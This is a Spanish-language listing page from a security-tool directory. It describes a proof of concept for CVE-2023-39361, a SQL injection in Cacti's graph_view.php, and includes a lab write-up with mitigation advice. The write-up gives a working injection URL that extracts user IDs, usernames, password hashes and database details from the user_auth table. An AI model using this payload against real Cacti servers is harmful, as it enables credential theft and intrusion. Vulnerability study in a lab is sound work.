Skip to content
KitploitKITPLOIT
HerramientasBlog
Log in
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2023-39361 — Prueba de concepto de exploit para CVE-2023-39361, una inyección SQL en Cacti graph_view.php que conduce a la exfiltración de datos y posible RCE. | Kitploit
Herramientas/GitHubGitHub/chodeokcheol/cve-2023-39361
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y Educación
GitHubchodeokcheol/cve-2023-39361

CVE-2023-39361

Prueba de concepto de exploit para CVE-2023-39361, una inyección SQL en Cacti graph_view.php que conduce a la exfiltración de datos y posible RCE.

Ver Repositorio
1hace 1 añoAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Cacti graph_view.php Inyección SQL lleva a RCE [CVE-2023-39361]

[ WHS 3.ª generación ] - 남기찬_7342 (ChoDeokCheol)


Resumen

  • Existe una vulnerabilidad en la función grow_right_pane_tree del archivo graph_view.php en el servidor Cacti 1.2.24.
  • Al configurar el parámetro action como tree_content, existe el parámetro rfilter que es un valor de entrada del usuario.
  • El parámetro rfilter se valida a través de la función html_validate_tree_vars, pero dicha validación solo verifica si es una expresión regular válida.
  • Finalmente, el valor de rfilter se inserta en la consulta SQL, permitiendo inyección de código.
  • Se pueden extraer valores como id, username, etc. (utilizado en este PoC).

Configuración previa

  • Verificar la instalación y versión de Docker Compose con docker-compose -v.
  • Preparar los componentes de Docker necesarios para la configuración de CVE-2023-39361 (yml o imágenes, etc.).

Configuración y ejecución del entorno

  • Utilizar docker-compose.yml y entrypoint.sh de vulhub en cacti/CVE-2023-39361.
  • Construir el entorno PoC con docker compose up -d. (Imagen: cacti:1.2.24)
  • Construir el servidor Cacti con la dirección localhost 8080:80 configurada en el archivo yml. Construcción del entorno PoC en Docker Construcción del servidor Cacti

PoC de la vulnerabilidad

  • Esta vulnerabilidad ocurre cuando la configuración de autenticación permite que usuarios normales (invitados) puedan ver gráficos.

  • Esta vulnerabilidad se puede comprobar con la entrada de los siguientes parámetros:

    • %20OR%20""="(( : código típico de inyección SQL. Fuerza una condición verdadera mediante OR.
    • %20UNION%20SELECT% : Obtiene resultados arbitrarios deseados.
    • (select%20concat(id,0x23,username,0x23,password)%20from%20user_auth%20limit%201) : Solicita los valores id#username#password.
    • (select%20user()),(select%20version()) : Obtiene el usuario/versión de la base de datos.
    • %23 : es #, por lo que la declaración SQL posterior queda anulada.

http://your-ip:8080/graph_view.php?action=tree_content&node=1-1-tree_anchor&rfilter=aaaaaaa"%20OR%20""="(("))%20UNION%20SELECT%201,2,(select%20concat(id,0x23,username,0x23,password)%20from%20user_auth%20limit%201),4,5,6,(select%20user()),(select%20version()),9,10%23


Resultados

Ejecución de BurpSuite y respuesta Se puede confirmar que se ha dado la respuesta según lo solicitado.


Resumen

Los ataques de inyección SQL ocurren principalmente cuando se acepta la entrada del usuario durante la interacción con el servidor. Este ataque de inyección SQL comprometió la confidencialidad de la base de datos y resultó en la fuga de activos.
Como medida contra esta inyección SQL, se puede verificar la validación básica de lista blanca de rfilter o escapar caracteres especiales como (", ', ;, ...). También se pueden realizar mejoras utilizando bibliotecas ORM como Doctrine al acceder a la base de datos.

Descargar herramienta